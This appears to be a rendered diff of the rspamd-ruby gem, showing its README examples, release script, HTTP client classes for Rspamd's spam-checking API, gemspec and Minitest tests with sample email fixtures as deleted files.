From: Spammer <spammer@example.com>
|
44
|
-
To: Bob <bob@example.com>
|
45
|
-
Message-ID: <975bad33-2e76-40c3-89aa-7fe1edcbe7ce@example.com>
|
46
|
-
Subject: Hello
|
47
|
-
Mime-Version: 1.0
|
48
|
-
Content-Type: text/plain; charset=UTF-8
|
49
|
-
Content-Transfer-Encoding: quoted-printable
|
50
|
-
Delivered-To: bob@example.com
|
51
|
-
|
52
|
-
Buy some stuff?
|
53
|
-
MIME
|
54
|
-
```
|
55
|
-
|
56
|
-
Report a message as ham:
|
57
|
-
|
58
|
-
```ruby
|
59
|
-
client.ham!(<<~MIME)
|
60
|
-
Date: Tue, 21 Jan 2020 21:04:42 +0000
|
61
|
-
From: Alice <alice@example.com>
|
62
|
-
To: Bob <bob@example.com>
|
63
|
-
Message-ID: <975bad33-2e76-40c3-89aa-7fe1edcbe7ce@example.com>
|
64
|
-
Subject: Hello
|
65
|
-
Mime-Version: 1.0
|
66
|
-
Content-Type: text/plain; charset=UTF-8
|
67
|
-
Content-Transfer-Encoding: quoted-printable
|
68
|
-
Delivered-To: bob@example.com
|
69
|
-
|
70
|
-
Hi Bob!
|
71
|
-
|
72
|
-
-Alice
|
73
|
-
MIME
|
74
|
-
```
|
data/Rakefile
DELETED
data/bin/release
DELETED
@@ -1,14 +0,0 @@
|
|
1
|
-
#!/usr/bin/env bash
|
2
|
-
|
3
|
-
VERSION=$1
|
4
|
-
|
5
|
-
printf "module Rspamd\n VERSION = \"$VERSION\"\nend\n" > ./lib/rspamd/version.rb
|
6
|
-
bundle
|
7
|
-
git add Gemfile.lock lib/rspamd/version.rb
|
8
|
-
git commit -m "Bump version for $VERSION"
|
9
|
-
git push
|
10
|
-
git tag v$VERSION
|
11
|
-
git push --tags
|
12
|
-
gem build rspamd-ruby.gemspec
|
13
|
-
gem push "rspamd-ruby-$VERSION.gem" --host https://rubygems.org
|
14
|
-
rm "rspamd-ruby-$VERSION.gem"
|
data/lib/rspamd/check/result.rb
DELETED
@@ -1,59 +0,0 @@
|
|
1
|
-
module Rspamd
|
2
|
-
module Check
|
3
|
-
class Result
|
4
|
-
attr_reader :data
|
5
|
-
|
6
|
-
def self.parse(source)
|
7
|
-
new JSON.parse(source)
|
8
|
-
end
|
9
|
-
|
10
|
-
def initialize(data = {})
|
11
|
-
@data = data
|
12
|
-
end
|
13
|
-
|
14
|
-
def spam?
|
15
|
-
score >= required_score
|
16
|
-
end
|
17
|
-
|
18
|
-
def ham?
|
19
|
-
!spam?
|
20
|
-
end
|
21
|
-
|
22
|
-
def skipped?
|
23
|
-
data.fetch("is_skipped")
|
24
|
-
end
|
25
|
-
|
26
|
-
def score
|
27
|
-
data.fetch("score")
|
28
|
-
end
|
29
|
-
|
30
|
-
def required_score
|
31
|
-
data.fetch("required_score")
|
32
|
-
end
|
33
|
-
|
34
|
-
def action
|
35
|
-
data.fetch("action")
|
36
|
-
end
|
37
|
-
|
38
|
-
def symbols
|
39
|
-
data.fetch("symbols")
|
40
|
-
end
|
41
|
-
|
42
|
-
def subject
|
43
|
-
data["subject"]
|
44
|
-
end
|
45
|
-
|
46
|
-
def urls
|
47
|
-
data["urls"] || []
|
48
|
-
end
|
49
|
-
|
50
|
-
def emails
|
51
|
-
data["emails"] || []
|
52
|
-
end
|
53
|
-
|
54
|
-
def message_id
|
55
|
-
data["message_id"]
|
56
|
-
end
|
57
|
-
end
|
58
|
-
end
|
59
|
-
end
|
data/lib/rspamd/client.rb
DELETED
@@ -1,69 +0,0 @@
|
|
1
|
-
require "rspamd/configuration"
|
2
|
-
require "rspamd/service"
|
3
|
-
require "rspamd/check/result"
|
4
|
-
require "rspamd/errors"
|
5
|
-
|
6
|
-
module Rspamd
|
7
|
-
class Client
|
8
|
-
attr_reader :configuration
|
9
|
-
|
10
|
-
def initialize(**options)
|
11
|
-
@configuration = Configuration.new(**options)
|
12
|
-
end
|
13
|
-
|
14
|
-
def ping
|
15
|
-
service.get("/ping")
|
16
|
-
.then { |response| response.is_a?(Net::HTTPOK) && response.body.match?(/\Apong(\r?\n)?\z/) }
|
17
|
-
rescue Net::OpenTimeout, Net::ReadTimeout, IOError, SystemCallError
|
18
|
-
false
|
19
|
-
end
|
20
|
-
|
21
|
-
def check(message, headers: {})
|
22
|
-
service.post("/checkv2", headers: headers, body: message).then do |response|
|
23
|
-
if response.is_a?(Net::HTTPOK)
|
24
|
-
Check::Result.parse(response.body)
|
25
|
-
else
|
26
|
-
raise InvalidResponse, "Received invalid response from Rspamd: expected 200 OK, got #{response.code} #{response.message}".strip
|
27
|
-
end
|
28
|
-
end
|
29
|
-
end
|
30
|
-
|
31
|
-
def spam!(message)
|
32
|
-
learn :spam, message
|
33
|
-
end
|
34
|
-
|
35
|
-
def ham!(message)
|
36
|
-
learn :ham, message
|
37
|
-
end
|
38
|
-
|
39
|
-
def add_fuzzy(message, flag: 1, weight: 1)
|
40
|
-
post("/fuzzyadd", message, "Flag" => flag, "Weight" => weight)
|
41
|
-
end
|
42
|
-
|
43
|
-
def delete_fuzzy(message, flag: 1)
|
44
|
-
post("/fuzzydel", message, "Flag" => flag)
|
45
|
-
end
|
46
|
-
|
47
|
-
private
|
48
|
-
def service
|
49
|
-
@service ||= Service.new(configuration)
|
50
|
-
end
|
51
|
-
|
52
|
-
def learn(classification, message)
|
53
|
-
post("/learn#{classification}", message)
|
54
|
-
end
|
55
|
-
|
56
|
-
def post(endpoint, body, **headers)
|
57
|
-
service.post(endpoint, body: body, headers: headers).then do |response|
|
58
|
-
case response
|
59
|
-
when Net::HTTPOK
|
60
|
-
JSON.parse(response.body).fetch("success")
|
61
|
-
when Net::HTTPNoContent, Net::HTTPAlreadyReported
|
62
|
-
false
|
63
|
-
else
|
64
|
-
raise Rspamd::Error, JSON.parse(response.body)["error"] || "Received unspecified error from Rspamd"
|
65
|
-
end
|
66
|
-
end
|
67
|
-
end
|
68
|
-
end
|
69
|
-
end
|
data/lib/rspamd/configuration.rb
DELETED
@@ -1,39 +0,0 @@
|
|
1
|
-
module Rspamd
|
2
|
-
class Configuration
|
3
|
-
attr_reader :options
|
4
|
-
|
5
|
-
def initialize(**options)
|
6
|
-
@options = options
|
7
|
-
end
|
8
|
-
|
9
|
-
def scheme
|
10
|
-
options[:scheme] || "http"
|
11
|
-
end
|
12
|
-
|
13
|
-
def host
|
14
|
-
options[:host] || "localhost"
|
15
|
-
end
|
16
|
-
|
17
|
-
def port
|
18
|
-
options[:port] || 11333
|
19
|
-
end
|
20
|
-
|
21
|
-
|
22
|
-
def open_timeout
|
23
|
-
options[:open_timeout] || 1
|
24
|
-
end
|
25
|
-
|
26
|
-
def read_timeout
|
27
|
-
options[:read_timeout] || 10
|
28
|
-
end
|
29
|
-
|
30
|
-
|
31
|
-
def user_agent
|
32
|
-
options[:user_agent] || "rspamd-ruby"
|
33
|
-
end
|
34
|
-
|
35
|
-
def password
|
36
|
-
options[:password]
|
37
|
-
end
|
38
|
-
end
|
39
|
-
end
|
data/lib/rspamd/errors.rb
DELETED
data/lib/rspamd/service.rb
DELETED
@@ -1,34 +0,0 @@
|
|
1
|
-
module Rspamd
|
2
|
-
class Service
|
3
|
-
attr_reader :configuration
|
4
|
-
|
5
|
-
def initialize(configuration)
|
6
|
-
@configuration = configuration
|
7
|
-
end
|
8
|
-
|
9
|
-
def get(path)
|
10
|
-
client.get path, default_headers
|
11
|
-
end
|
12
|
-
|
13
|
-
def post(path, body: nil, headers: {})
|
14
|
-
client.post path, body, default_headers.merge(headers.compact.transform_values(&:to_s))
|
15
|
-
end
|
16
|
-
|
17
|
-
private
|
18
|
-
def client
|
19
|
-
@client ||= Net::HTTP.start \
|
20
|
-
configuration.host,
|
21
|
-
configuration.port,
|
22
|
-
use_ssl: configuration.scheme == "https",
|
23
|
-
open_timeout: configuration.open_timeout,
|
24
|
-
read_timeout: configuration.read_timeout
|
25
|
-
end
|
26
|
-
|
27
|
-
def default_headers
|
28
|
-
{
|
29
|
-
"User-Agent" => configuration.user_agent,
|
30
|
-
"Password" => configuration.password
|
31
|
-
}.compact
|
32
|
-
end
|
33
|
-
end
|
34
|
-
end
|
data/lib/rspamd/version.rb
DELETED
data/rspamd-ruby.gemspec
DELETED
@@ -1,20 +0,0 @@
|
|
1
|
-
require_relative "lib/rspamd/version"
|
2
|
-
|
3
|
-
Gem::Specification.new do |s|
|
4
|
-
s.name = "rspamd-ruby"
|
5
|
-
s.version = Rspamd::VERSION
|
6
|
-
s.authors = [ "George Claghorn", "Lewis Buckley" ]
|
7
|
-
s.email = "lewis@37signals.com"
|
8
|
-
s.summary = "Client for Rspamd's HTTP API"
|
9
|
-
s.homepage = "https://github.com/basecamp/rspamd-ruby"
|
10
|
-
|
11
|
-
s.required_ruby_version = ">= 2.7.8"
|
12
|
-
|
13
|
-
s.add_development_dependency "rake", "~> 13.0"
|
14
|
-
s.add_development_dependency "minitest", "> 5.11"
|
15
|
-
s.add_development_dependency "webmock", "~> 3.0"
|
16
|
-
s.add_development_dependency "debug"
|
17
|
-
|
18
|
-
s.files = `git ls-files`.split("\n")
|
19
|
-
s.test_files = `git ls-files -- test/*`.split("\n")
|
20
|
-
end
|
data/test/client_test.rb
DELETED
@@ -1,161 +0,0 @@
|
|
1
|
-
require "test_helper"
|
2
|
-
|
3
|
-
class Rspamd::ClientTest < Minitest::Test
|
4
|
-
def setup
|
5
|
-
@client = Rspamd::Client.new(host: "localhost", port: 11333)
|
6
|
-
end
|
7
|
-
|
8
|
-
def test_successfully_pinging
|
9
|
-
stub_request(:get, "http://localhost:11333/ping").to_return(status: 200, body: "pong\r\n")
|
10
|
-
assert @client.ping
|
11
|
-
end
|
12
|
-
|
13
|
-
def test_unsuccessfully_pinging_due_to_a_server_error
|
14
|
-
stub_request(:get, "http://localhost:11333/ping").to_return(status: 500)
|
15
|
-
assert !@client.ping
|
16
|
-
end
|
17
|
-
|
18
|
-
def test_unsuccessfully_pinging_due_to_a_timeout
|
19
|
-
stub_request(:get, "http://localhost:11333/ping").to_timeout
|
20
|
-
assert !@client.ping
|
21
|
-
end
|
22
|
-
|
23
|
-
def test_successfully_checking_a_ham_message
|
24
|
-
stub_request(:post, "http://localhost:11333/checkv2")
|
25
|
-
.with(body: mail(:ham))
|
26
|
-
.to_return(status: 200, body: response("ham.json"))
|
27
|
-
|
28
|
-
result = @client.check(mail(:ham))
|
29
|
-
assert !result.spam?
|
30
|
-
assert result.ham?
|
31
|
-
assert_equal 1.0, result.score
|
32
|
-
assert_equal 15.0, result.required_score
|
33
|
-
assert_equal "no action", result.action
|
34
|
-
assert_equal %w[ foo.example.com bar.example.com baz.example.com ], result.urls
|
35
|
-
assert_equal %w[ alice@example.com ], result.emails
|
36
|
-
end
|
37
|
-
|
38
|
-
def test_successfully_checking_a_spam_message
|
39
|
-
stub_request(:post, "http://localhost:11333/checkv2")
|
40
|
-
.with(body: mail(:ham))
|
41
|
-
.to_return(status: 200, body: response("spam.json"))
|
42
|
-
|
43
|
-
result = @client.check(mail(:ham))
|
44
|
-
assert result.spam?
|
45
|
-
assert !result.ham?
|
46
|
-
assert_equal 17.8, result.score
|
47
|
-
assert_equal 6.0, result.required_score
|
48
|
-
assert_equal "add header", result.action
|
49
|
-
assert_equal [], result.urls
|
50
|
-
assert_equal [], result.emails
|
51
|
-
end
|
52
|
-
|
53
|
-
def test_unsuccessfully_checking_a_message_due_to_a_server_error
|
54
|
-
stub_request(:post, "http://localhost:11333/checkv2")
|
55
|
-
.with(body: mail(:ham))
|
56
|
-
.to_return(status: [ 500, "Internal Server Error" ])
|
57
|
-
|
58
|
-
error = assert_raises(Rspamd::InvalidResponse) { @client.check(mail(:ham)) }
|
59
|
-
assert_equal "Received invalid response from Rspamd: expected 200 OK, got 500 Internal Server Error", error.message
|
60
|
-
end
|
61
|
-
|
62
|
-
def test_providing_headers_on_check
|
63
|
-
request = stub_request(:post, "http://localhost:11333/checkv2")
|
64
|
-
.with(body: mail(:ham), headers: { "Settings-Id" => "outbound" })
|
65
|
-
.to_return(status: 200, body: response("spam.json"))
|
66
|
-
|
67
|
-
@client.check(mail(:ham), headers: { "Settings-Id" => "outbound" })
|
68
|
-
assert_requested request
|
69
|
-
end
|
70
|
-
|
71
|
-
def test_successfully_reporting_a_message_as_spam
|
72
|
-
request = stub_request(:post, "http://localhost:11333/learnspam")
|
73
|
-
.with(body: mail(:ham))
|
74
|
-
.to_return(status: 200, body: '{"success": true}')
|
75
|
-
|
76
|
-
assert @client.spam!(mail(:ham))
|
77
|
-
assert_requested request
|
78
|
-
end
|
79
|
-
|
80
|
-
def test_unsuccessfully_reporting_a_message_as_spam
|
81
|
-
stub_request(:post, "http://localhost:11333/learnspam")
|
82
|
-
.with(body: mail(:ham))
|
83
|
-
.to_return(status: 500, body: '{"error": "Unknown statistics error, found when storing data on backend"}')
|
84
|
-
|
85
|
-
error = assert_raises(Rspamd::Error) { @client.spam!(mail(:ham)) }
|
86
|
-
assert_equal "Unknown statistics error, found when storing data on backend", error.message
|
87
|
-
end
|
88
|
-
|
89
|
-
def test_successfully_reporting_a_message_as_ham
|
90
|
-
request = stub_request(:post, "http://localhost:11333/learnham")
|
91
|
-
.with(body: mail(:ham))
|
92
|
-
.to_return(status: 200, body: '{"success": true}')
|
93
|
-
|
94
|
-
assert @client.ham!(mail(:ham))
|
95
|
-
assert_requested request
|
96
|
-
end
|
97
|
-
|
98
|
-
def test_successfully_adding_a_message_to_fuzzy_storage
|
99
|
-
request = stub_request(:post, "http://localhost:11333/fuzzyadd")
|
100
|
-
.with(body: mail(:ham))
|
101
|
-
.to_return(status: 200, body: '{"success": true}')
|
102
|
-
|
103
|
-
assert @client.add_fuzzy(mail(:ham))
|
104
|
-
assert_requested request
|
105
|
-
end
|
106
|
-
|
107
|
-
def test_successfully_deleting_a_message_from_fuzzy_storage
|
108
|
-
request = stub_request(:post, "http://localhost:11333/fuzzydel")
|
109
|
-
.with(body: mail(:ham))
|
110
|
-
.to_return(status: 200, body: '{"success": true}')
|
111
|
-
|
112
|
-
assert @client.delete_fuzzy(mail(:ham))
|
113
|
-
assert_requested request
|
114
|
-
end
|
115
|
-
|
116
|
-
def test_unsuccessfully_reporting_a_message_as_ham
|
117
|
-
stub_request(:post, "http://localhost:11333/learnham")
|
118
|
-
.with(body: mail(:ham))
|
119
|
-
.to_return(status: 500, body: '{"error": "Unknown statistics error, found when storing data on backend"}')
|
120
|
-
|
121
|
-
error = assert_raises(Rspamd::Error) { @client.ham!(mail(:ham)) }
|
122
|
-
assert_equal "Unknown statistics error, found when storing data on backend", error.message
|
123
|
-
end
|
124
|
-
|
125
|
-
def test_reporting_a_previously_reported_message_as_spam
|
126
|
-
request = stub_request(:post, "http://localhost:11333/learnspam")
|
127
|
-
.with(body: mail(:ham))
|
128
|
-
.to_return(status: 208, body: response("already_reported.json"))
|
129
|
-
|
130
|
-
assert !@client.spam!(mail(:ham))
|
131
|
-
assert_requested request
|
132
|
-
end
|
133
|
-
|
134
|
-
def test_reporting_a_message_with_too_few_tokens_as_spam
|
135
|
-
request = stub_request(:post, "http://localhost:11333/learnspam")
|
136
|
-
.with(body: mail(:ham))
|
137
|
-
.to_return(status: [ 204, "<undef> contains less tokens than required for bayes classifier: 3 < 11" ])
|
138
|
-
|
139
|
-
assert !@client.spam!(mail(:ham))
|
140
|
-
assert_requested request
|
141
|
-
end
|
142
|
-
|
143
|
-
def test_customizing_user_agent
|
144
|
-
stub_request(:get, "http://localhost:11333/ping").to_return(status: 200, body: "pong\r\n")
|
145
|
-
assert Rspamd::Client.new(host: "localhost", port: "11333", user_agent: "Rspamd tests").ping
|
146
|
-
assert_requested :get, "http://localhost:11333/ping", headers: { "User-Agent" => "Rspamd tests" }
|
147
|
-
end
|
148
|
-
|
149
|
-
private
|
150
|
-
def mail(name)
|
151
|
-
fixture "mail/#{name}.eml"
|
152
|
-
end
|
153
|
-
|
154
|
-
def response(path)
|
155
|
-
fixture "responses/#{path}"
|
156
|
-
end
|
157
|
-
|
158
|
-
def fixture(path)
|
159
|
-
File.read File.expand_path("fixtures/#{path}", __dir__)
|
160
|
-
end
|
161
|
-
end
|
data/test/fixtures/mail/ham.eml
DELETED
@@ -1,19 +0,0 @@
|
|
1
|
-
Date: Tue, 21 Jan 2020 21:04:42 +0000
|
2
|
-
From: Alice <alice@example.com>
|
3
|
-
To: Bob <bob@example.com>
|
4
|
-
Message-ID: <975bad33-2e76-40c3-89aa-7fe1edcbe7ce@example.com>
|
5
|
-
Subject: Hello
|
6
|
-
Mime-Version: 1.0
|
7
|
-
Content-Type: text/plain; charset=UTF-8
|
8
|
-
Content-Transfer-Encoding: quoted-printable
|
9
|
-
Delivered-To: bob@example.com
|
10
|
-
|
11
|
-
Hi Bob! Check these out:
|
12
|
-
|
13
|
-
foo.example.com/bar
|
14
|
-
bar.example.com/baz
|
15
|
-
baz.example.com/quux
|
16
|
-
|
17
|
-
Best,
|
18
|
-
Alice
|
19
|
-
alice@example.com
|
@@ -1 +0,0 @@
|
|
1
|
-
{"error": "<975bad33-2e76-40c3-89aa-7fe1edcbe7ce@example.com> already learned as spam, ignore it"}
|
data/test/test_helper.rb
DELETED